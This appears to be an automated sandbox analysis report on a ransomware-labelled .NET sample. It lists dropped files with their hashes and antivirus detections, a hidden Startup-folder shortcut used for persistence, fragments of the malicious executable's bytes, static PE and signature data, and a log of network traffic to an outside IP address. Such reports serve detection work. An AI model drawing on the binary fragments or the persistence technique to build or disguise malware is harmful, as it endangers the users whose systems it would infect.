                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vaucdwah.gnf.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yypo0gur.ors.psm1

                                                          Download File
                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          File Type:ASCII text, with no line terminators
                                                          Category:dropped
                                                          Size (bytes):60
                                                          Entropy (8bit):4.038920595031593
                                                          Encrypted:false
                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                          Malicious:false
                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                          C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Apr 21 12:22:56 2024, mtime=Sun Apr 21 12:22:56 2024, atime=Sun Apr 21 12:22:56 2024, length=89760, window=hide
                                                          Category:dropped
                                                          Size (bytes):764
                                                          Entropy (8bit):5.071360403706439
                                                          Encrypted:false
                                                          SSDEEP:12:8hSLlE24qGWCE/dY//cLLCLfOfEjAss2DrHk6lheuHBmV:8++qRH+UPCDOIAssYYieuHBm
                                                          MD5:A7364D24F139A94E5AB9E7F72F6E3BB0
                                                          SHA1:06D032FA109AA01887B1D52ADEF56DBA13B98E46
                                                          SHA-256:6A1979BFDF737B1AF7FC928C299992FFCE677175714F7AF6B09680FF56309E90
                                                          SHA-512:2C94F4E47BB0D5A4DEC0A1477E57E83C7F15BA97DF1457949A6DC4E5B42F0AD4F9CDE4C7A96FB4FE9A2F6B649ACA3FEE36577AF9A1A9923626E021F0281FC66E
                                                          Malicious:false
                                                          Preview:L..................F.... ....w......w......w......^......................v.:..DG..Yr?.D..U..k0.&...&......vk.v.....K......<.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.j...........................%..A.p.p.D.a.t.a...B.V.1......X.j..Roaming.@......CW.^.X.j..........................%.I.R.o.a.m.i.n.g.....b.2..^...X.j .XClient.exe.H......X.j.X.j..........................Q...X.C.l.i.e.n.t...e.x.e.......Y...............-.......X.............t......C:\Users\user\AppData\Roaming\XClient.exe........\.....\.....\.....\.....\.X.C.l.i.e.n.t...e.x.e.`.......X.......724536...........hT..CrF.f4... .E.%@.....,.......hT..CrF.f4... .E.%@.....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                          C:\Users\user\AppData\Roaming\XClient.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):89760
                                                          Entropy (8bit):6.2010207853619566
                                                          Encrypted:false
                                                          SSDEEP:1536:Dr8EfosIBGf4spJKNvjiFQzXblXAorYfwJcxSTlWoJl0ovJvWR4jmft2Ib7ADUzh:DrRQsIsfLJKNb6ykDxSTlWoJl0ovJvWn
                                                          MD5:4E640BD1E98BEC927682AC50F0D86E2A
                                                          SHA1:C1C4B8F8D3B8B692E76ED4F1DF134B1C88694517
                                                          SHA-256:98A9021F55EC887A271DD6B5BEF911BDBF09514530DB7ABDB887D5282AAF7631
                                                          SHA-512:0D48D95820DC0D9CE9DC5474F490F00B9447030E5407A97B5D8015DE2A0C6D8832F687B05621E0677D71F01235AEA6117636CA1783859BD78A7CF84BDDE8E92B
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: Avira, Detection: 100%
                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                          • Antivirus: ReversingLabs, Detection: 55%
                                                          • Antivirus: Virustotal, Detection: 69%, Browse
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!f.................X...........w... ........@.. ....................................`..................................w..W.......d............4...*...`....................................................... ............... ..H............text....W... ...X.................. ..`.rsrc...d............Z..............@..@.reloc.......`.......2..............@..B.................w......H........H...............G...............................................0..E........s....}.....s....}.....(p..........s....(...........s....(.....(....*....(....~....%-.&~..........s....%.....(...+(...+*2.("...}....*.....o#...,..(....+...}.....sl...%.{....on...ov...*..(....*.0...........{....o$....{....o%....(....o&....+*.o'.....{......(....o(....{.....o)...o*....o+...-....,..o,.....(.....s)...%.ot...o-...%.oq...o+...ow...*......".6X.......0...........o-......?0{...0,..0...;

                                                          C:\Users\user\AppData\Roaming\daqfbrlrs.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                          Category:dropped
                                                          Size (bytes):89760
                                                          Entropy (8bit):6.2010207853619566
                                                          Encrypted:false
                                                          SSDEEP:1536:Dr8EfosIBGf4spJKNvjiFQzXblXAorYfwJcxSTlWoJl0ovJvWR4jmft2Ib7ADUzh:DrRQsIsfLJKNb6ykDxSTlWoJl0ovJvWn
                                                          MD5:4E640BD1E98BEC927682AC50F0D86E2A
                                                          SHA1:C1C4B8F8D3B8B692E76ED4F1DF134B1C88694517
                                                          SHA-256:98A9021F55EC887A271DD6B5BEF911BDBF09514530DB7ABDB887D5282AAF7631
                                                          SHA-512:0D48D95820DC0D9CE9DC5474F490F00B9447030E5407A97B5D8015DE2A0C6D8832F687B05621E0677D71F01235AEA6117636CA1783859BD78A7CF84BDDE8E92B
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: Avira, Detection: 100%
                                                          • Antivirus: Joe Sandbox ML, Detection: 100%
                                                          • Antivirus: ReversingLabs, Detection: 55%
                                                          • Antivirus: Virustotal, Detection: 69%, Browse
                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!f.................X...........w... ........@.. ....................................`..................................w..W.......d............4...*...`....................................................... ............... ..H............text....W... ...X.................. ..`.rsrc...d............Z..............@..@.reloc.......`.......2..............@..B.................w......H........H...............G...............................................0..E........s....}.....s....}.....(p..........s....(...........s....(.....(....*....(....~....%-.&~..........s....%.....(...+(...+*2.("...}....*.....o#...,..(....+...}.....sl...%.{....on...ov...*..(....*.0...........{....o$....{....o%....(....o&....+*.o'.....{......(....o(....{.....o)...o*....o+...-....,..o,.....(.....s)...%.ot...o-...%.oq...o+...ow...*......".6X.......0...........o-......?0{...0,..0...;

                                                          C:\Users\user\AppData\Roaming\daqfbrlrs.exe:Zone.Identifier

                                                          Download File
                                                          Process:C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):26
                                                          Entropy (8bit):3.95006375643621
                                                          Encrypted:false
                                                          SSDEEP:3:ggPYV:rPYV
                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                          Malicious:false
                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                          Static File Info

                                                          General

                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                          Entropy (8bit):6.2010207853619566
                                                          TrID:
                                                          • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                                                          • Win32 Executable (generic) a (10002005/4) 49.97%
                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                          • DOS Executable Generic (2002/1) 0.01%
                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                          File name:SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          File size:89'760 bytes
                                                          MD5:4e640bd1e98bec927682ac50f0d86e2a
                                                          SHA1:c1c4b8f8d3b8b692e76ed4f1df134b1c88694517
                                                          SHA256:98a9021f55ec887a271dd6b5bef911bdbf09514530db7abdb887d5282aaf7631
                                                          SHA512:0d48d95820dc0d9ce9dc5474f490f00b9447030e5407a97b5d8015de2a0c6d8832f687b05621e0677d71f01235aea6117636ca1783859bd78a7cf84bdde8e92b
                                                          SSDEEP:1536:Dr8EfosIBGf4spJKNvjiFQzXblXAorYfwJcxSTlWoJl0ovJvWR4jmft2Ib7ADUzh:DrRQsIsfLJKNb6ykDxSTlWoJl0ovJvWn
                                                          TLSH:639331D1F24458A9EC1613F95C379D22109BBEAD98B28A1E249F77354FB339310A3D4B
                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!f.................X...........w... ........@.. ....................................`................................

                                                          File Icon

                                                          Icon Hash:1464e4865381868e

                                                          Static PE Info

                                                          General

                                                          Entrypoint:0x4077de
                                                          Entrypoint Section:.text
                                                          Digitally signed:true
                                                          Imagebase:0x400000
                                                          Subsystem:windows gui
                                                          Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                          DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                          Time Stamp:0x662197FD [Thu Apr 18 22:00:29 2024 UTC]
                                                          TLS Callbacks:
                                                          CLR (.Net) Version:
                                                          OS Version Major:4
                                                          OS Version Minor:0
                                                          File Version Major:4
                                                          File Version Minor:0
                                                          Subsystem Version Major:4
                                                          Subsystem Version Minor:0
                                                          Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                          Authenticode Signature

                                                          Signature Valid:false
                                                          Signature Issuer:CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
                                                          Signature Validation Error:The digital signature of the object did not verify
                                                          Error Number:-2146869232
                                                          Not Before, Not After
                                                          • 10/03/2022 00:00:00 09/03/2024 23:59:59
                                                          Subject Chain
                                                          • CN=\u5317\u4eac\u6811\u888b\u718a\u7f51\u7edc\u79d1\u6280\u6709\u9650\u516c\u53f8, O=\u5317\u4eac\u6811\u888b\u718a\u7f51\u7edc\u79d1\u6280\u6709\u9650\u516c\u53f8, S=\u5317\u4eac\u5e02, C=CN
                                                          Version:3
                                                          Thumbprint MD5:F65AC12D552AB5ADFCBA9912AF9EDEF9
                                                          Thumbprint SHA-1:372213F89CE6DF0941CC2AF2463E57A469D94070
                                                          Thumbprint SHA-256:8611B8DA48B73973411C6EE75AA9AF86A632BEE1153117B56C3B0C82CD85CA85
                                                          Serial:0F94B42F22EE48BF1374BDF1A7DB530B

                                                          Entrypoint Preview

                                                          Instruction
                                                          jmp dword ptr [00402000h]
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al
                                                          add byte ptr [eax], al

                                                          Data Directories

                                                          NameVirtual AddressVirtual Size Is in Section
                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x77840x57.text
                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x80000xd664.rsrc
                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x134000x2aa0
                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x160000xc.reloc
                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                          Sections

                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                          .text0x20000x57e40x580069093d48d940184b0c5cce0aa6f63358False0.5386629971590909data5.9636775774853374IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                          .rsrc0x80000xd6640xd80085183f659793c57a68f0f34e6b333bf5False0.2463650173611111data4.988191319666569IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                          .reloc0x160000xc0x200281f4d24e6ce99b9b94633f57028e448False0.044921875data0.08153941234324169IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                          Resources

                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                          RT_ICON0x81300xd028Device independent bitmap graphic, 100 x 256 x 32, image size 51200, resolution 3779 x 3779 px/m0.2397537907221138
                                                          RT_GROUP_ICON0x151580x14data1.15
                                                          RT_VERSION0x1516c0x344data0.4318181818181818
                                                          RT_MANIFEST0x154b00x1b4XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators0.5642201834862385

                                                          Imports

                                                          DLLImport
                                                          mscoree.dll_CorExeMain

                                                          Network Behavior

                                                          Network Port Distribution

                                                          TCP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Apr 21, 2024 15:21:51.558971882 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:51.802376032 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:51.802608013 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:51.821142912 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.063868046 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064260960 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064301968 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064340115 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064377069 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064433098 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064470053 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064471960 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.064471960 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.064506054 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064543962 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064551115 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.064582109 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064589977 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.064620972 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.064668894 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.307833910 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.307884932 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.307923079 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.307952881 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.307971954 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308026075 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308156013 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308195114 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308234930 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308239937 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308274984 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308314085 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308317900 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308351994 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308388948 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308425903 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308432102 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308481932 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308514118 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308593035 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308629990 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308636904 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308670998 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308710098 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308717966 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308832884 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308881998 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.308922052 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.308962107 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.309011936 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551706076 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551731110 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551748037 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551765919 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551785946 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551804066 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551817894 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551825047 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551845074 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551863909 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551875114 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551881075 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551876068 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551901102 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551902056 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551919937 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551930904 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551942110 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.551964045 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.551979065 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552006960 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552021980 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552028894 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552048922 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552073002 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552073956 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552133083 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552138090 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552159071 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552177906 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552196980 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552207947 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552216053 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552234888 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552243948 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552253008 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552273035 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552294016 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552311897 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552314043 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552314043 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552330017 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552346945 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552354097 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552366018 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552385092 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552397013 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552417040 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552437067 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552437067 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552455902 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552474022 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552479029 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552491903 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552510023 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552520990 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552529097 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552548885 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.552562952 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.552598000 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796014071 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796045065 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796091080 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796111107 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796139956 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796178102 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796180964 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796212912 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796232939 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796251059 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796279907 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796318054 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796319008 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796353102 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796391964 CEST4973380192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:21:52.796402931 CEST80497335.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:21:52.796441078 CEST80497335.34.182.232192.168.2.4
